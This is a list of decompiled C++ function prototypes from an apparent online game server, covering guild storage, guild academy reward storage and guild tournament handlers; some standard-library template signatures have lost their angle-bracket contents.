WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_ACADEMY_MASTER_BUFF_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_REWARDSTORAGE_GRADE_INFO_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_GUILD_ACADEMY_DB_ACADEMY_REWARD_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_CLOSE_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ(void *this, int netcmd, int nGuildNo, __int16 handle); GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, List *, unsigned __int16, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *), unsigned __int16 *hnd, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *key); GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *__thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, unsigned int guild, unsigned __int16 *storagehandle); // int __usercall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDeactivate(int a1, int a2); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck(void *this, int withdraw); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck(void *this, int deposit); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStoreFill(void *sp, unsigned int inven); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ(void *this, unsigned int netcmd, int nGuildNo, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ(void *this, unsigned int netcmd, int nGuildNo, __int16 handle); int __thiscall Name4::operator__(Name4 *this, Name4 *nm); unsigned int __thiscall ItemInventoryCell::iic_ItemLot(ItemInventoryCell *this); void __thiscall ItemInventoryCell::iic_ItemLot(ItemInventoryCell *this, unsigned int lot); char __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GuildCheck(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, unsigned int guild); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::GuildAcademyRewardStorageElement(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::GuildAcademyRewardStorageElement(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, unsigned int gld); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::_GuildAcademyRewardStorageElement(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_Deactivate(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SetActivate(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this); int __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GuildCompare(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, List *lst, unsigned __int16 hnd, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *key); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_StoreItem(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_OPEN_ACK *inven, #440 *sp); unsigned __int64 __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SetMoney(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, unsigned __int64 set_cen); int __thiscall PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG::operator_(int this, int a2); char __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SlotInfoCheck(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, SHINE_INVEN_SLOT_INFO slotinfo); int __thiscall PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG::operator_(int this, int a2); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewordSrorageItemInfoCmd(void *this, int iteminfo, char type); void __thiscall List::_List(List *this); void __thiscall ItemTotalInformation::iti_clear(ItemTotalInformation *this); void __thiscall ItemInventoryCell::iic_Clear(ItemInventoryCell *this); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::_GuildAcademyRewardStorageManager(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this); void __thiscall ShineObjectClass::ShinePlayer::sp_GuildAcademyRewardStorageError(void *this, __int16 err); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_WithdrawAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_ItemInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_RewardInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring); void __thiscall ShineGuildAcademyRewardStorageWithdraw::ShineGuildAcademyRewardStorageWithdraw(ShineGuildAcademyRewardStorageWithdraw *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring); void __thiscall ShineGuildAcademyRewardStorageDeposit::ShineGuildAcademyRewardStorageDeposit(ShineGuildAcademyRewardStorageDeposit *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring); void __thiscall ShineGuildAcademyRewardStorageItemInfoZonRng::ShineGuildAcademyRewardStorageItemInfoZonRng(ShineGuildAcademyRewardStorageItemInfoZonRng *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendItemInfoZoneRng2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring); void __thiscall ShineGuildAcademyRewardStorageRewardInfoZonRng::ShineGuildAcademyRewardStorageRewardInfoZonRng(ShineGuildAcademyRewardStorageRewardInfoZonRng *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendRewardInfoZoneRng2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_ItemInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_RewardInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring); char __thiscall ShineGuildAcademyRewardStorageWithdraw::lid_Call(ShineGuildAcademyRewardStorageWithdraw *this, #331 *, unsigned __int16); char __thiscall ShineGuildAcademyRewardStorageDeposit::lid_Call(ShineGuildAcademyRewardStorageDeposit *this, #331 *, unsigned __int16); char __thiscall ShineGuildAcademyRewardStorageItemInfoZonRng::lid_Call(ShineGuildAcademyRewardStorageItemInfoZonRng *this, #331 *, unsigned __int16); char __thiscall ShineGuildAcademyRewardStorageRewardInfoZonRng::lid_Call(ShineGuildAcademyRewardStorageRewardInfoZonRng *this, #331 *, unsigned __int16); char __thiscall List::l_PushA(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak int __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele); char __thiscall List::l_PopZ(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::GuildAcademyRewardStorageManager(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this); void __thiscall ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueGuildReType *content); void __thiscall MemoryQueueElement::MemoryQueueElement(MemoryQueueElement *this); // void __userpurge ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ(int a1, int a2, int netcmd, int len, int handle); // void __userpurge ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ(int a1, int a2, int netcmd, int len, int handle); void __stdcall ShineObjectClass::ShineObject::so_ply_GuildReName(char nItemSlot, __int128 sGuildName); void __stdcall ShineObjectClass::ShineObject::so_ply_GuildReType(char nItemSlot, char nType); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildReNameItemUseSuccess(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildReTypeItemUseSuccess(void *this); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); void __thiscall MemoryQueue::_MemoryQueue(MemoryQueue *this); unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueGuildReName *content); char __thiscall GuildStorage::GuildStorageElement::gse_GuildCheck(GuildStorage::GuildStorageElement *this, unsigned int guild); void __thiscall GuildStorage::GuildStorageElement::GuildStorageElement(GuildStorage::GuildStorageElement *this); void __thiscall GuildStorage::GuildStorageElement::_GuildStorageElement(GuildStorage::GuildStorageElement *this); char __thiscall GuildStorage::GuildStorageElement::gse_FreeDeactivate(GuildStorage::GuildStorageElement *this, List *lst, unsigned __int16 handle); void __thiscall GuildStorage::GuildStorageElement::gse_Deactivate(GuildStorage::GuildStorageElement *this); void __thiscall GuildStorage::GuildStorageElement::gse_SetActivate(GuildStorage::GuildStorageElement *this); int __thiscall GuildStorage::GuildStorageElement::gse_GuildCompare(GuildStorage::GuildStorageElement *this, List *lst, unsigned __int16 hnd, GuildStorage::GuildStorageElement *key); unsigned __int64 __thiscall GuildStorage::GuildStorageElement::gse_GetMoney(GuildStorage::GuildStorageElement *this); void __thiscall GuildStorage::GuildStorageElement::gse_SetMoney(GuildStorage::GuildStorageElement *this, unsigned __int64 set_cen); unsigned __int64 __thiscall GuildStorage::GuildStorageElement::gse_GetToken(GuildStorage::GuildStorageElement *this); void __thiscall GuildStorage::GuildStorageElement::gse_SetToken(GuildStorage::GuildStorageElement *this, unsigned __int64 nToken); void __thiscall List::_List(List *this); void __thiscall GuildStorage::GuildStorageElement::gse_StoreItem(GuildStorage::GuildStorageElement *this, PROTO_NC_ITEMDB_OPEN_GUILD_STORAGE_ACK *inven, #440 *sp); void __thiscall GuildStorage::GuildStorageManager::_GuildStorageManager(GuildStorage::GuildStorageManager *this); void __thiscall ShineObjectClass::ShinePlayer::sp_GuildStorageClose(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_GuildStorageError(void *this, __int16 err); void __thiscall ShineGuildStorageWithdraw::ShineGuildStorageWithdraw(ShineGuildStorageWithdraw *this, PROTO_NC_GUILD_STORAGEWITHDRAW_RNG *ring); void __thiscall GuildStorage::GuildStorageManager::gsm_SendWithdraw2Member(GuildStorage::GuildStorageManager *this, PROTO_NC_GUILD_STORAGEWITHDRAW_RNG *ring); void __thiscall List::l_Clear(List *this); void __thiscall ZoneListenSession::zls_NC_GUILD_STORAGEWITHDRAW_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); GuildStorage::GuildStorageElement *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(GuildStorage::GuildStorageElement *this, List *, unsigned __int16, GuildStorage::GuildStorageElement *), unsigned __int16 *hnd, GuildStorage::GuildStorageElement *key); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); GuildStorage::GuildStorageElement *__thiscall GuildStorage::GuildStorageManager::gsm_FindStorage(GuildStorage::GuildStorageManager *this, unsigned int guild, unsigned __int16 *storagehandle); char __thiscall ShineGuildStorageWithdraw::lid_Call(ShineGuildStorageWithdraw *this, #331 *, unsigned __int16); char __thiscall List::l_PushA(List *this, GuildStorage::GuildStorageElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak int __thiscall GuildStorage::GuildStorageElement::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, GuildStorage::GuildStorageElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, GuildStorage::GuildStorageElement *ele); char __thiscall List::l_PopZ(List *this, GuildStorage::GuildStorageElement *ele); void __thiscall GuildStorage::GuildStorageManager::GuildStorageManager(GuildStorage::GuildStorageManager *this); bool __thiscall FieldMap::fm_IsGuildTournametnMap(int this); void __thiscall GuildTouramentLoginDataInfo::GuildTouramentLoginDataInfo(GuildTouramentLoginDataInfo *this); bool __thiscall GuildTouramentLoginDataInfo::IsAccessTime(GuildTouramentLoginDataInfo *this); bool __thiscall ShineObjectClass::ShinePlayer::sp_IsGuildTournamentAccessTime(int this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildTournament_isSummon(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_Send2GuildTournamentLogIn(void *this, int gt_start, char nTournamentSeed); char __thiscall FieldMap::fm_GuildTournamentClear(int this); void __thiscall ShineObjectClass::ShineMob::mb_SendMyGuildInfo(int this, int a2); char __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildStoreGradeFill(int this, char Grade); char __cdecl ShineObjectClass::ShineObject::so_ply_isGuildAcademyRewardStoreGrade(); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isGuildStoreGrade(int this); void __thiscall GameDBSession::gds_NC_ITEMDB_OPEN_GUILD_STORAGE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_Guild_Tournamnet_Observer_Out(int this, int nSeedNumber); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL(void *this, __int16 nType, int nUseSkill); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_ACK(void *this, __int16 nType); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_CMD(int this, __int16 nType); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_DICEGAME_THROW_ACK(void *this, __int16 nType); char __thiscall ShineGuildStorageDeactive::lid_Call(ShineGuildStorageDeactive *this, #331 *, unsigned __int16); void __thiscall FieldMap::fm_GuildTournamentEnd(void *this, int winner, int loser); void __thiscall ShineObjectClass::ShineMob::so_mob_SetGuildRegNum(void *this, int gld); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEMDB_CLOSE_GUILD_STORAGE_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_ZONE_MEMBERGRADE_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_LINK_FROM_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_ZONE_JOIN_NEW_REQ(WorldManagerSession *this, NETCOMMAND *netcmd, int len); signed __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildTournamentJoinNew(void *this, int pReq); void __thiscall GameDBSession::gds_NC_GUILD_TOURNAMENT_DB_JOIN_NEW_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_GOLD_REFUND_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_OBSERVER_ENTER_REQ(int this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_OBSERVER_OUT_REQ(int this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_FlagCaptureFree(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_FlagCaptureFreeCheck(int this, __int16 hFlag); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL_ACK(void *this, __int16 nType); void __thiscall WorldManagerSession::wms_GuildTournamantStart(WorldManagerSession *this, PROTO_NC_GUILD_TOURNAMENT_START_CMD *gt_start); // int __usercall ShineObjectClass::ShinePlayer::so_ply_GuildStorageDeactivate(int a1, unsigned __int16 *a2); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildStoreFill(void *sp, PROTO_NC_ITEMDB_OPEN_GUILD_STORAGE_ACK *inven); void __thiscall WorldManagerSession::wms_GuildTournamentCheck(WorldManagerSession *this); void __thiscall WorldManagerSession::wms_NC_GUILD_WORLD_USE_GUILD_TOKEN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::append(std::basic_string,std::allocator > *this, std::basic_string,std::allocator > *_Right, unsigned int _Roff, unsigned int _Count); void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::append(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Count); bool __cdecl _ErrorSendPlayer(#331 *, int, const char *); bool __cdecl _ErrorSendPlayer(#331 *, int, const char *); FieldOption::GuildTournamentMapStr *__thiscall GuildTouramentLoginDataInfo::GetFieldGTMapInfo(GuildTouramentLoginDataInfo *this, #440 *pPlayer); MapInfo *__thiscall GuildTouramentLoginDataInfo::GetMapInfo(GuildTouramentLoginDataInfo *this, #440 *pPlayer); FieldOption::FieldAttr *__thiscall GuildTouramentLoginDataInfo::GetFieldAttr(GuildTouramentLoginDataInfo *this, #440 *pPlayer); bool __thiscall GuildTouramentLoginDataInfo::GetLinkData(GuildTouramentLoginDataInfo *this, NPCManager::LinkInformTemplete *pLinkInfo, #440 *pObj); int __thiscall ShineObjectClass::ShinePlayer::sp_Guild_Tournamnet_Observer_Enter(_DWORD, _DWORD); // weak void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_ZONE_OBSERVER_ENTER_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall RoutionInterface::_RoutionInterface(RoutionInterface *this); void *__thiscall RoutionInterface::_vector_deleting_destructor_(RoutionInterface *this, unsigned int); void *__thiscall ScriptInterrupt::InterruptEventArgument::_scalar_deleting_destructor_(ScriptInterrupt::InterruptEventArgument *this, unsigned int); void __thiscall AxialListFlagCaptureCancel::_AxialListFlagCaptureCancel(AxialListFlagCaptureCancel *this); GuildTournamentSystem::GuildGroup *__thiscall GuildTournamentSystem::GetEnemyGuildGroup(GuildTournamentSystem *this, unsigned int GuildNumber); bool __thiscall GuildTournamentSystem::IsBattleGuild(GuildTournamentSystem *this, unsigned int a, unsigned int b); int __thiscall GuildTournamentSystem::GetGuildRegIndex(GuildTournamentSystem *this, #331 *pObject); void __cdecl GuildTournamentSystem::SendBriefChange(#331 *pChange); void __thiscall ScriptInterrupt::InterruptEventWinGuild::_InterruptEventWinGuild(ScriptInterrupt::InterruptEventWinGuild *this); void __thiscall GuildTournamentSystem::FlagInfo::FlagCapture(GuildTournamentSystem::FlagInfo *this, unsigned int GuildNumber); bool __thiscall DiceGame::Start(DiceGame *this, int nTick, unsigned int RedPlayerNumber, unsigned int BluePlayerNumber); void __thiscall DiceGame::Send_DiceThrowResult(DiceGame *this, unsigned int GameUser, unsigned int unResult); unsigned int __thiscall std::vector>::size(std::vector,std::allocator >,std::allocator,std::allocator > > > *this); unsigned int __thiscall std::vector>::size(std::vector > *this); unsigned int __thiscall std::vector>::size(std::vector > *this); unsigned int __thiscall std::vector>::size(std::vector > *this); void __thiscall std::_Tree_std::allocator>_0>>::_Rrotate(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode); std::_Tree_nod,std::allocator >,0> >::_Node *__cdecl std::_Tree_std::allocator>_1>>::_Min(std::_Tree_nod,std::allocator >,0> >::_Node *_Pnode); std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Max(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Min(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_0>>::const_iterator::_Dec(std::_Tree,std::allocator >,0> >::const_iterator *this); void __thiscall std::_Tree_std::allocator>_1>>::const_iterator::_Inc(std::_Tree,std::allocator >,0> >::const_iterator *this); void __thiscall std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Dec(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Inc(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator(GuildTournamentSystem::GuildMemberInfo *_First, GuildTournamentSystem::GuildMemberInfo *_Last, GuildTournamentSystem::GuildMemberInfo *_Val); void __cdecl std::fill(unsigned __int16 *_First, unsigned __int16 *_Last, const unsigned __int16 *_Val); void __cdecl std::fill(TickTimer *_First, TickTimer *_Last, TickTimer *_Val); void __cdecl std::fill(TOURNAMENT_PLAYER_SCORE *_First, TOURNAMENT_PLAYER_SCORE *_Last, TOURNAMENT_PLAYER_SCORE *_Val); TOURNAMENT_PLAYER_SCORE *__cdecl std::_Copy_backward_opt(TOURNAMENT_PLAYER_SCORE *_First, TOURNAMENT_PLAYER_SCORE *_Last, TOURNAMENT_PLAYER_SCORE *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl GuildTournamentSystem::Make_TOURNAMENT_PLAYER_SCORE(TOURNAMENT_PLAYER_SCORE *rScore, #331 *pObejct, GuildTournamentSystem::GuildMemberInfo *rinfo); int __thiscall GuildTournamentSystem::GetVictoryGuild(GuildTournamentSystem *this); int __thiscall GuildTournamentSystem::GetLoseGuild(GuildTournamentSystem *this); void *__thiscall ScriptInterrupt::InterruptEventWinGuild::_scalar_deleting_destructor_(ScriptInterrupt::InterruptEventWinGuild *this, unsigned int); void __thiscall std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lrotate(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Rrotate(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator >::iterator *__cdecl std::find_if>::iterator_GuildTournamentSystem::GuildMemberInfo::Find_if_handle>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, GuildTournamentSystem::GuildMemberInfo::Find_if_handle _Pred); ShineObjectClass::ShineNPC *__cdecl ShineDynamicCast(#331 *pObj); int __cdecl ShineDynamicCast(int a1); GuildTournamentSystem::GuildMemberInfo *__cdecl std::copy_backward(GuildTournamentSystem::GuildMemberInfo *_First, GuildTournamentSystem::GuildMemberInfo *_Last, GuildTournamentSystem::GuildMemberInfo *_Dest); unsigned __int16 *__cdecl std::copy_backward(unsigned __int16 *_First, unsigned __int16 *_Last, unsigned __int16 *_Dest); GuildTournamentSystem::GuildMemberInfo *__cdecl std::_Uninit_copy>(GuildTournamentSystem::GuildMemberInfo *_First, GuildTournamentSystem::GuildMemberInfo *_Last, GuildTournamentSystem::GuildMemberInfo *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); char __thiscall AxialListFlagCaptureCancel::ali_Work(AxialListFlagCaptureCancel *this, #331 *, #331 *, unsigned int); GuildTournamentSystem::GuildGroup *__thiscall GuildTournamentSystem::GetCurGuildGroup(GuildTournamentSystem *this, unsigned int GuildNumber); void __thiscall DiceGame::End(DiceGame *this); std::_Tree_nod,std::allocator >,0> >::_Node *__thiscall std::_Tree_std::allocator>_1>>::_Buynode(std::_Tree,std::allocator >,0> > *this); std::_Tree_nod,std::allocator >,0> >::_Node *__thiscall std::_Tree_std::allocator>_1>>::_Buynode(std::_Tree,std::allocator >,0> > 